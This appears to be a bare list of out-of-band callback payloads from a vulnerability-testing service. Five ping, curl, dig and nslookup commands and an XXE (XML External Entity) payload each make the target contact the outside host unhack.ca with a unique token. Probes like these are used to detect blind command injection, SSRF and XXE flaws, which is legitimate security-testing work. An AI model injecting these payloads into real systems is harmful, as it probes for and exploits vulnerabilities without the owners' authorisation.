$ ping -c1 -p 00facd9e7fb3794c0fcf300e233cab00 unhack.ca
 

$ curl http://unhack.ca/p/facd9e7fb3794c0fcf300e233cab
 

$ dig facd9e7fb3794c0fcf300e233cab @unhack.ca
 

$ dig facd9e7fb3794c0fcf300e233cab.ns.unhack.ca
 

C:\> nslookup facd9e7fb3794c0fcf300e233cab unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/facd9e7fb3794c0fcf300e233cab">]>
    <foo>&xxe;</foo>